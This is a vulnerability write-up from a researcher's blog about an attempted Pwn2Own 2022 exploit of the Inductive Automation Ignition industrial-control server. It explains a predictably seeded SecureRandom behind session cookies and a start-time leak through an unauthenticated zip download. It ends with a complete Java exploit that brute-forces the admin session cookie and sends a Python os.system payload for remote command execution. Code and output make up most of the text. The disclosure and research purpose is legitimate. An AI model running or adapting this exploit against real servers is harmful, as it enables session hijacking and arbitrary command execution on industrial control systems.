ICS Pwn2own 2022 – Ignition

In this blog I’m going to share the details of the vulnerabilities and exploit chain mr_me and I used to try (and fail) to pwn Inductive Automation Ignition at the 2022 ICS Pwn2own. The tl;dr is that the Ignition server is vulnerable to authentication bypass due to a poorly seeded random number generator (RNG). The RNG is used to create an authentication cookie value when a user logs in using the Designer application. A remote attacker can leverage multiple issues to determine the generated cookie value. Once authenticated, the server’s built in python code execution capabilities can be used to run arbitrary operating system commands.

As far as what this software is used for in real life I couldn’t really tell you 😛 The main points of concern are that it’s a Windows server side program written in Java. It has at least two avenues for administration one of which is a client program called Designer that communicates via XML over HTTP:

In order to use Designer one has to first authenticate to the server. Once auth’d the server will issue a cookie, which is the SHA-1 hash of some (not so) random bytes.

Bug #1 Insecure Usage of SecureRandom Class

On line 41 a field called ENTROPY is defined to be the string inductiveautomation. Just after that, a field called random is declared of type Random. Further down, inside the initRandom() method, the random object is initialized. A variable called seed is defined as the current system time in milliseconds. It then mashes seed and entropy through some gears to mutate the seed value away from purely being the system time. In reality, this mashing adds no randomness or cryptographic strength to the seed. On line 219 the SecureRandom object is finally seeded with what may as well be the system time at approximately the time the Ignition server is started up.

/*     */ package com.inductiveautomation.ignition.gateway.servlets;
...
/*     */ public class GatewaySessionManagerImpl
/*     */   implements GatewaySessionManager
/*     */ {
/*  41 */   private static final char[] ENTROPY = "inductiveautomation".toCharArray(); //[1]
...
/*     */   protected Random random;                                                   //[2]
...
/*     */   private void initRandom() {                                                //[3]
/* 211 */     long seed = System.currentTimeMillis();
/* 212 */     char[] entropy = ENTROPY;
/* 213 */     for (int i = 0; i < entropy.length; i++) {
/* 214 */       long update = ((byte)entropy[i] << i % 8 * 8);
/* 215 */       seed ^= update;
/*     */     } 
/*     */    
/* 218 */     this.random = new SecureRandom();
/* 219 */     this.random.setSeed(seed);
/*     */    
/* 221 */     this.digest = MessageDigest.getInstance("SHA-1");
/*     */   }
...
/*     */   protected String generateSessionId() {                                     //[4]
/* 241 */     byte[] random = new byte[16];
/* 242 */     String result = null;
/*     */
/*     */    
/* 245 */     StringBuffer buffer = new StringBuffer();
/*     */     do {
/* 247 */       int resultLenBytes = 0;
/* 248 */       if (result != null) {
/* 249 */         buffer = new StringBuffer();
/* 250 */         this.duplicates++;
/*     */       } 
/*     */      
/* 253 */       while (resultLenBytes < this.sessionIdLength) {
/* 254 */         this.random.nextBytes(random);
/* 255 */         random = this.digest.digest(random);
/* 256 */         for (int j = 0; j < random.length && resultLenBytes < this.sessionIdLength; j++) {
/* 257 */           byte b1 = (byte)((random[j] & 0xF0) >> 4);
/* 258 */           byte b2 = (byte)(random[j] & 0xF);
/*     */          
/* 260 */           if (b1 < 10) {
/* 261 */             buffer.append((char)(48 + b1));
/*     */           } else {
/* 263 */             buffer.append((char)(65 + b1 - 10));
/*     */           } 
/*     */          
/* 266 */           if (b2 < 10) {
/* 267 */             buffer.append((char)(48 + b2));
/*     */           } else {
/* 269 */             buffer.append((char)(65 + b2 - 10));
/*     */           } 
/*     */          
/* 272 */           resultLenBytes++;
/*     */         } 
/*     */       } 
/*     */      
/* 276 */       result = buffer.toString();
/* 277 */     } while (this.sessions.get(result) != null);
/* 278 */     return result;
/*     */   }
...

Quick Dive Into SecureRandom

At this point if you’ve used SecureRandom in the past you may be saying, “this doesn’t sound right, seeding the SecureRandom should only add entropy, not be the sole source of entropy”. In others words, even if it’s explicitly seeded it shouldn’t generate the same sequence of bytes each time. And if you believe that, you’d be right…and wrong. Let’s experiment with the following code:

import java.security.MessageDigest;
import java.security.SecureRandom;
import java.util.Random;
import java.util.Arrays;
import java.nio.ByteBuffer;

public class SecureRandomTesting {

    public static void main(String[] args) {
        
        // byte array to store the random bytes we'll generate
        byte[] result = new byte[16];

        // the seed value passed in on command line
        String seed = args[0];

        // some magic so we can convert the passed in seed to a Long
        ByteBuffer bb = ByteBuffer.wrap(seed.getBytes());

        System.out.println("[+] Seeding SecureRandom object with: " + seed);

        // instantiate the SecureRandom and seed it
        Random random = new SecureRandom();
        random.setSeed(bb.getLong());

        // Call nextBytes() on `random` 16 times and fill up `result`
        for (int i = 0; i < 0x10; i++) {
            random.nextBytes(result);
        }

        // display the bytes that got generated
        System.out.print("[+] Got random bytes: ");
        System.out.println(Arrays.toString(result));
    }
}

First we’ll use openjdk on kali linux.

root@kali:/tmp# java --version
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
openjdk 11.0.11 2021-04-20
OpenJDK Runtime Environment (build 11.0.11+9-post-Debian-1)
OpenJDK 64-Bit Server VM (build 11.0.11+9-post-Debian-1, mixed mode, sharing)

root@kali:/tmp# java SecureRandomTesting 12345678
[+] Seeding SecureRandom object with: 12345678
[+] Got random bytes: [51, -88, 1, 124, 75, -30, 83, 117, -78, -62, -39, 71, -113, -4, 33, -33]

root@kali:/tmp# java SecureRandomTesting 12345678
[+] Seeding SecureRandom object with: 12345678
[+] Got random bytes: [102, 94, -23, 69, -124, 4, -54, -62, -119, 86, 21, 119, -101, 113, 82, 68]

root@kali:/tmp# java SecureRandomTesting 12345678
[+] Seeding SecureRandom object with: 12345678
[+] Got random bytes: [-53, -112, 2, 127, 11, -18, -120, 5, 11, -14, 76, -83, -104, -17, 119, -50]

Even though the same seed of 12345678 is passed on each run, a different sequence of bytes is returned. Now let’s see the exact same code running on openjdk on Windows:

C:\Program Files\Inductive Automation\Ignition\lib\runtime\jre-win\bin>java.exe --version
openjdk 11.0.11 2021-04-20 LTS
OpenJDK Runtime Environment Zulu11.48+22-SA (build 11.0.11+9-LTS)
OpenJDK 64-Bit Server VM Zulu11.48+22-SA (build 11.0.11+9-LTS, mixed mode)

C:\Program Files\Inductive Automation\Ignition\lib\runtime\jre-win\bin>.\java.exe SecureRandomTesting 12345678
[+] Seeding SecureRandom object with: 12345678
[+] Got random bytes: [59, -13, 70, -9, -2, -11, 43, 123, 55, 75, -64, -5, -125, 29, 73, -94]

C:\Program Files\Inductive Automation\Ignition\lib\runtime\jre-win\bin>.\java.exe SecureRandomTesting 12345678
[+] Seeding SecureRandom object with: 12345678
[+] Got random bytes: [59, -13, 70, -9, -2, -11, 43, 123, 55, 75, -64, -5, -125, 29, 73, -94]

C:\Program Files\Inductive Automation\Ignition\lib\runtime\jre-win\bin>.\java.exe SecureRandomTesting 12345678
[+] Seeding SecureRandom object with: 12345678
[+] Got random bytes: [59, -13, 70, -9, -2, -11, 43, 123, 55, 75, -64, -5, -125, 29, 73, -94]

Recap

The Ignition server seeds a SecureRandom with what is essentially the server start up time in milliseconds. On Windows, when SecureRandom is seeded with the same seed it produces the same sequence of bytes. Thus, if we can somehow learn the startup time for the Ignition server, we can reproduce any cookies it generates as users log in.

Some More Notes About SecureRandom

Although SecureRandom makes the same sequence with the same seed, it can still be impacted by other factors, namely the number of SecureRandom objects that have been instantiated before them. Let’s see this with another example:

import java.security.MessageDigest;
import java.security.SecureRandom;
import java.util.Random;
import java.util.Arrays;
import java.nio.ByteBuffer;

public class SecureRandomTestingMultiple {

    public static void main(String[] args) {
        
        // byte array to store the random bytes we'll generate
        byte[] result1 = new byte[16];
        byte[] result2 = new byte[16];
        byte[] result3 = new byte[16];

        // the seed value passed in on command line
        String seed = args[0];

        // some magic so we can convert the passed in seed to a Long
        ByteBuffer bb = ByteBuffer.wrap(seed.getBytes());
        Long s = bb.getLong();

        System.out.println("[+] Seeding random1 with: " + seed);
        System.out.println("[+] Seeding random2 with: " + seed);
        System.out.println("[+] Seeding random3 with: " + seed);

        // instantiate the SecureRandom and seed it
        Random random1 = new SecureRandom();
        Random random2 = new SecureRandom();
        Random random3 = new SecureRandom();
        random1.setSeed(s);
        random2.setSeed(s);
        random3.setSeed(s);

        // Call nextBytes() on `random` 16 times and fill up `result`
        for (int i = 0; i < 0x10; i++) {
            random1.nextBytes(result1);
            random2.nextBytes(result2);
            random3.nextBytes(result3);
        }

        // display the bytes that got generated
        System.out.print("[+] random1 got bytes: ");
        System.out.println(Arrays.toString(result1));

        System.out.print("[+] random2 got bytes: ");
        System.out.println(Arrays.toString(result2));

        System.out.print("[+] random3 got bytes: ");
        System.out.println(Arrays.toString(result3));
    }
}

C:\Program Files\Inductive Automation\Ignition\lib\runtime\jre-win\bin>.\java.exe SecureRandomTestingMultiple 12345678
[+] Seeding random1 with: 12345678
[+] Seeding random2 with: 12345678
[+] Seeding random3 with: 12345678
[+] random1 got bytes: [59, -13, 70, -9, -2, -11, 43, 123, 55, 75, -64, -5, -125, 29, 73, -94]
[+] random2 got bytes: [-81, 126, 32, -18, 78, 108, 98, 67, 69, -6, -30, -33, -37, 70, -127, -107]
[+] random3 got bytes: [122, -26, -102, -78, -35, -39, -65, 115, -36, 93, 110, -19, 35, 11, 13, -37]

C:\Program Files\Inductive Automation\Ignition\lib\runtime\jre-win\bin>.\java.exe SecureRandomTestingMultiple 12345678
[+] Seeding random1 with: 12345678
[+] Seeding random2 with: 12345678
[+] Seeding random3 with: 12345678
[+] random1 got bytes: [59, -13, 70, -9, -2, -11, 43, 123, 55, 75, -64, -5, -125, 29, 73, -94]
[+] random2 got bytes: [-81, 126, 32, -18, 78, 108, 98, 67, 69, -6, -30, -33, -37, 70, -127, -107]
[+] random3 got bytes: [122, -26, -102, -78, -35, -39, -65, 115, -36, 93, 110, -19, 35, 11, 13, -37]

Now when we run this on Windows we see that random1, random2, and random3 each produce a different sequence of bytes even though they were seeded with the same value of 12345678. Why? Without getting too far into the weeds, the reason is SecureRandom relies on some internal private fields which track state, for example a nonce. So, even though each SecureRandom has been seeded identically, the internal states will not match when the first call to nextBytes() is made.

Here are some screenshots from the debugger to further illustrate things. In this screenshot we are breaking on java.base.sun.security.provider.HashDrbg.initEngine(). The first time it’s hit is on creation of random1:

When we create the random2 the bp is hit again, see the difference?

The nonce has been incremented, and this will affect the random bytes that are produced by random2 such that they are different from random1 even though they were seeded with the same material.

Initially when attempting to PoC this bug, we were struggling to generate the same cookie as the Ignition server, even when we cheated and used the debugger to know the exact seed. Eventually, we realized that the SecureRandom used to generate the cookie must not be the first one that is instantiated by Ignition. We spent some time trying to use youdebug to track each construction of SecureRandom random objects so we could know how many are created, but it was so slow that it couldn’t be used for this purpose. Instead, we ended up having success using brute force to determine the number of objects that needed to be created to match the server’s state.

Bug #2 Leaking the Server Startup Time

Being able to leak the server start up time may not ordinarily be considered a bug, but it is a critical piece to exploit the issue described above. An unauthenticated user can browse to http://10.0.0.1:8088/system/scriptModules on the Ignition server and will be returned a file called pylib_compressed.zip. When this zip file is extracted, the files contained within will be timestamped with a time very near the server start up time. Example:

root@kali:/tmp# wget 192.168.1.7:8088/system/scriptModules
--2021-12-31 21:46:09--  http://192.168.1.7:8088/system/scriptModules
Connecting to 192.168.1.7:8088... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4464511 (4.3M) [application/octet-stream]
Saving to: ‘scriptModules’

scriptModules                    100%[=========================================================>]   4.26M  --.-KB/s    in 0.08s   

2021-12-31 21:46:09 (54.0 MB/s) - ‘scriptModules’ saved [4464511/4464511]
root@kali:/tmp# unzip -q scriptModules
root@kali:/tmp# stat --format='%.9Y' wsgiref/handlers.py
1639581580.000000000

Exploitation

To achieve authentication bypass the leaked timestamp can be used to start making guesses as to what the actual seed was. In our exploit, the leaked timestamp is subtracted by 1000 (milliseconds) and that is used as the starting point to brute force the seed. So, the first guess-seed is used to generate a cookie value, reusing all the code from the real ignition server. That generated cookie is then used in an attempt to access an authenticated API on the server. If it works, then the seed is known. If not, the guess-seed is incremented by 1 and the cycle is repeated.

Sounds straightforward enough, but there are a few more points of interest. For Pwn2own the exploit must be successful within a 5 minute window, this means we don’t have a long time to spend brute forcing. As mentioned earlier, in order for the SecureRandom object in our cookie brute forcer to be able to generate the same cookie as the server it must have the same internal state as the server. This could be done by creating 7 dummy SecureRandom objects and then using the 8th one to generate the cookie. Initially we tried this approach. We used python to make a loop which would launch the java program to generate the cookie with a different guessed seed each time. This could work, but is painfully slow.

Instead we ended up using Java’s Reflection API to modify the nonce and other private state tracking fields of the SecureRandom object so we could avoid having to start a new process for each guess. It worked! Once the cookie is guessed Ignition’s built in code execution capabilities can be used for RCE. So with that here is the code showing Reflection was used to manipulate the SecureRandom object for our purposes:

import java.security.MessageDigest;
import java.security.SecureRandom;
import java.security.SecureRandomSpi;
import java.util.Random;
import java.util.Arrays;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;
 
public class Main {
	
    public static void main(String[] args) throws NoSuchFieldException, SecurityException, IllegalArgumentException, IllegalAccessException {
         
        // byte array to store the random bytes we'll generate
        byte[] result1 = new byte[16];
        byte[] result2 = new byte[16];

 
        // the seed value passed in on command line
        String seed = "12345678"; //args[0];
 
        // some magic so we can convert the passed in seed to a Long
        ByteBuffer bb = ByteBuffer.wrap(seed.getBytes());
        long s = bb.getLong();
 
        System.out.println("[+] Seeding random1 with: " + seed);
        System.out.println("[+] Seeding random2 with: " + seed);
        
        // instantiate the SecureRandom and seed it
        Random random1 = new SecureRandom();
        Random random2 = new SecureRandom();
        
        //////////////////////////////////////////////
        // Reset all the private fields for random2 //
        //////////////////////////////////////////////
        
        // get the secureRandomSpi
	    Field field = random2.getClass().getDeclaredField("secureRandomSpi");    
	    field.setAccessible(true);
	    SecureRandomSpi spi = (SecureRandomSpi)field.get(random2);
	    
	    // get the impl
	    field = spi.getClass().getDeclaredField("impl");    
	    field.setAccessible(true);
	    Object hd = field.get(spi);
	    
	    // set the c
	    field = hd.getClass().getDeclaredField("c");    
	    field.setAccessible(true);
	    field.set(hd, null);
	    
	    // set the v
	    field = hd.getClass().getDeclaredField("v");    
	    field.setAccessible(true);
	    field.set(hd, null);
	    
	    // set the digest
	    field = hd.getClass().getDeclaredField("digest");    
	    field.setAccessible(true);
	    field.set(hd, null);
	    
	    // set the requestedNonce
	    byte[] nonce = new byte[16];
	    nonce[15] = 1;
	    Field field3 = hd.getClass().getSuperclass().getSuperclass().getDeclaredField("requestedNonce");
	    field3.setAccessible(true);
	    field3.set(hd, nonce);

	    // set  `instantiated` and `reseedCounter`
	    Field[] fld = hd.getClass().getSuperclass().getSuperclass().getDeclaredFields();
        for(int i = 0; i < fld.length; i++) {
        	fld[i].setAccessible(true);

        	if (fld[i].getName().equals("instantiated")) {
        		fld[i].setBoolean(hd, false);
        	}
        	
        	if (fld[i].getName().equals("reseedCounter")) {
        		fld[i].setInt(hd, 0);
        	}
        }
        
        random1.setSeed(s);
        random2.setSeed(s);
 
        // Call nextBytes() on `random` 16 times and fill up `result`
        for (int i = 0; i < 0x10; i++) {
            random1.nextBytes(result1);
            random2.nextBytes(result2);
        }
 
        // display the bytes that got generated
        System.out.print("[+] random1 got bytes: ");
        System.out.println(Arrays.toString(result1));
 
        System.out.print("[+] random2 got bytes: ");
        System.out.println(Arrays.toString(result2));

    }
}
[+] Seeding random1 with: 12345678
[+] Seeding random2 with: 12345678
[+] random1 got bytes: [59, -13, 70, -9, -2, -11, 43, 123, 55, 75, -64, -5, -125, 29, 73, -94]
[+] random2 got bytes: [59, -13, 70, -9, -2, -11, 43, 123, 55, 75, -64, -5, -125, 29, 73, -94]

Finally, let’s touch on why the exploit failed at the contest. It seems that the PC running ignition on stage was much slower than the PCs we tested on prior to the contest. Recall that ignition on startup creates the SecureRandom object used for cookie generation, and it also creates the zip file that we use to leak the approximate server start time. Because the PC was slower, the time between the creation of the SecureRandom and the creation of the zip file was greater than 1 second, thus the way the exploit was constructed it could never guess the correct seed. We knew this was what was happening on stage, but didn’t have a build environment ready to be able to modify the exploit in time. Anyway, here is the code, the problem is on line 229:

package ignition;

import java.io.StringReader;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.security.MessageDigest;
import java.security.SecureRandom;
import java.security.SecureRandomSpi;
import java.util.zip.ZipEntry;
import java.util.zip.ZipInputStream;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.python.core.PyObject;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.xml.sax.InputSource;
import com.inductiveautomation.ignition.common.Base64;

/*
 * This exploit needs two things:
 * 1. An admin logged into the gateway so we can hijack their session
 * 2. The version
 * 
 * The version can be found when logging into the gateway (using the thick client) and sniffing the traffic. You should see a version value in the xml data. I think
 * */
public class Poc {

	private static final char[] ENTROPY = "inductiveautomation".toCharArray();
	public SecureRandom random = new SecureRandom();
	public MessageDigest digest;
	protected int sessionIdLength = 16;
	byte[] nonce = new byte[16];
	
	public Poc(byte val) {
		this.nonce[15] = val;
	}

	public void initRandom(long seed) throws Exception {
		// restore nonce and other values
		reset();
		char[] entropy = ENTROPY;
		for (int i = 0; i < entropy.length; i++) {
		    long update = ((byte)entropy[i] << i % 8 * 8);
		    seed ^= update;
		} 
		
		this.random.setSeed(seed);   
		this.digest = MessageDigest.getInstance("SHA-1");
    }
	
	public String generateSessionId() throws NoSuchFieldException, SecurityException, IllegalArgumentException, IllegalAccessException {
		byte[] random = new byte[16];
		String result = null;
  
		StringBuffer buffer = new StringBuffer();
		int resultLenBytes = 0;
        while (resultLenBytes < this.sessionIdLength) {
		    this.random.nextBytes(random);
		    random = this.digest.digest(random);
		    for (int j = 0; j < random.length && resultLenBytes < this.sessionIdLength; j++) {
		        byte b1 = (byte)((random[j] & 0xF0) >> 4);
		        byte b2 = (byte)(random[j] & 0xF);
         
		        if (b1 < 10) {
		            buffer.append((char)(48 + b1));
		        } else {
		            buffer.append((char)(65 + b1 - 10));
		        } 
          
		        if (b2 < 10) {
		            buffer.append((char)(48 + b2));
		        }else {
		            buffer.append((char)(65 + b2 - 10));
		        } 
		        resultLenBytes++;
		    } 
        }
        
		result = buffer.toString();
		
        return result;
    }
	
	public void reset() throws NoSuchFieldException, SecurityException, IllegalArgumentException, IllegalAccessException {
		// get the secureRandomSpi
	    Field field = this.random.getClass().getDeclaredField("secureRandomSpi");    
	    field.setAccessible(true);
	    SecureRandomSpi spi = (SecureRandomSpi)field.get(this.random);
	    
	    // get the impl
	    field = spi.getClass().getDeclaredField("impl");    
	    field.setAccessible(true);
	    Object hd = field.get(spi);
	    
	    // set the c
	    field = hd.getClass().getDeclaredField("c");    
	    field.setAccessible(true);
	    field.set(hd, null);
	    
	    // set the v
	    field = hd.getClass().getDeclaredField("v");    
	    field.setAccessible(true);
	    field.set(hd, null);
	    
	    // set the digest
	    field = hd.getClass().getDeclaredField("digest");    
	    field.setAccessible(true);
	    field.set(hd, null);
	    
	    Field field3 = hd.getClass().getSuperclass().getSuperclass().getDeclaredField("requestedNonce");
	    field3.setAccessible(true);
	    field3.set(hd, nonce);

	    Field[] fld = hd.getClass().getSuperclass().getSuperclass().getDeclaredFields();
        for(int i = 0; i < fld.length; i++) {
        	fld[i].setAccessible(true);

        	if (fld[i].getName().equals("instantiated")) {
        		fld[i].setBoolean(hd, false);
        	}
        	
        	if (fld[i].getName().equals("reseedCounter")) {
        		fld[i].setInt(hd, 0);
        	}
        }
	}
	
	public boolean check_sessionid(String target, String sessionid) throws Exception {
		String xml = "<requestwrapper>\r\n"
				+ "  <version>2442297326</version>\r\n" //1431018074 
				+ "  <scope>2</scope>\r\n"
				+ "  <message>\r\n"
				+ "    <messagetype>199</messagetype>\r\n"
				+ "    <messagebody>\r\n"
				+ "      <arg name=\"funcId\"><![CDATA[GetSessionInfo]]></arg>\r\n"
				+ "      <arg name=\"subFunction\"><![CDATA[currentSession]]></arg>\r\n"
				+ "    </messagebody>\r\n"
				+ "  </message>\r\n"
				+ "  <cookie>"+sessionid+"</cookie>\r\n"
				+ "</requestwrapper>";
		
		//System.out.println(xml);
		
		String url = "http://"+target+":8088/system/gateway";
		URL obj = new URL(url);
		HttpURLConnection con = (HttpURLConnection) obj.openConnection();
		con.setRequestMethod("POST");
		con.setRequestProperty("Content-Type", "text/xml");
        con.setDoOutput(true);
        OutputStream os = con.getOutputStream();
        os.write( xml.getBytes("utf-8") );
        os.close();
        try{
          	BufferedReader br = new BufferedReader(new InputStreamReader(con.getInputStream(), "utf-8"));		
         	StringBuilder response = new StringBuilder();
            String responseLine = null;
            while ((responseLine = br.readLine()) != null) {
                response.append(responseLine.trim());
            }  
            DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
            DocumentBuilder builder = factory.newDocumentBuilder();
            Document document = (Document) builder.parse(new InputSource(new StringReader(response.toString())));
            Element root = (Element) document.getDocumentElement();
            String code = root.getChildNodes().item(0).getChildNodes().item(0).getTextContent();	    
            return code.equals("309");	    
		}catch(Exception e) {
			System.out.println(e.getMessage());
		}
		return false;
	}
	public void trigger_rce(String target, String sessionid, String version, String arg0, String arg1) throws Exception {
		// super important that we use the correct version here:
		String xml = "<requestwrapper>\r\n"
				+ "  <version>" + version + "</version>\r\n" // previous version: 1431018075
				+ "  <scope>2</scope>\r\n"
				+ "  <message>\r\n"
				+ "    <messagetype>199</messagetype>\r\n"
				+ "    <messagebody>\r\n"
				+ "      <arg name=\"funcId\">ScriptInvoke</arg>\r\n"
				+ "      <arg name=\"subFunction\">execute</arg>\r\n"
				+ "      <arg name=\"function\">kik</arg>\r\n"
				+ "      <arg name=\"arg\" index=\"0\">" + arg0 + "</arg>\r\n"
				+ "      <arg name=\"arg\" index=\"1\">" + arg1 + "</arg>\r\n"
				+ "    </messagebody>\r\n"
				+ "  </message>\r\n"
				+ "  <cookie>" + sessionid + "</cookie>\r\n"
				+ "  <locale>\r\n"
				+ "    <l>en</l>\r\n"
				+ "    <c>US</c>\r\n"
				+ "    <v/>\r\n"
				+ "  </locale>\r\n"
				+ "</requestwrapper>";
		
		String url = "http://" + target + ":8088/system/gateway";
		URL obj = new URL(url);
		HttpURLConnection con = (HttpURLConnection) obj.openConnection();
		con.setRequestMethod("POST");
		con.setConnectTimeout(1000);
		con.setRequestProperty("Content-Type", "text/xml");
        con.setDoOutput(true);
        OutputStream os = con.getOutputStream();
        os.write( xml.getBytes("utf-8") );
        os.close();
        con.getInputStream();
	}
	public static void disableWarning() {
	    System.err.close();
	    System.setErr(System.out);
	}
	public static void main(String[] args) throws Exception {
		disableWarning();
		if(args.length != 3){
	        System.out.println("(+) Usage: java " + Poc.class.getName() + " <target> <cmd> <version>");
	        System.out.println("(+) eg: java " + Poc.class.getName() + " 192.168.2.166 mspaint 2442297327");
	        System.exit(0);
	    }
		String s;
		String target = args[0];
		String cmd = args[1];
		String version = args[2];
		URLConnection connection = new URL("http://" + target + ":8088/system/scriptModules").openConnection();
		ZipInputStream zis = new ZipInputStream(connection.getInputStream());
        ZipEntry entry = zis.getNextEntry();
        long seed = entry.getLastModifiedTime().toMillis()-1000L;
        System.out.println("(+) starting seed: " + seed);
		for (long l = seed; l < seed+10000L; l++) {
			for (int i = 0; i < 20; i++) {
				Poc poc = new Poc((byte) i);
			    poc.initRandom(l);
			    s = poc.generateSessionId();
			    if (poc.check_sessionid(target, s)) {
			    	System.out.printf("(+) found seed %d with session %s\r\n", l, s);
			    	System.out.printf("(+) triggering cmd %s", cmd);
			        String arg0 = Base64.encodeObject("__import__('os').system('cmd /c " + cmd + "');");
			        String arg1 = Base64.encodeObject(new PyObject());
			        poc.trigger_rce(target, s, version, arg0, arg1);
			    }
			}
		}
	}
}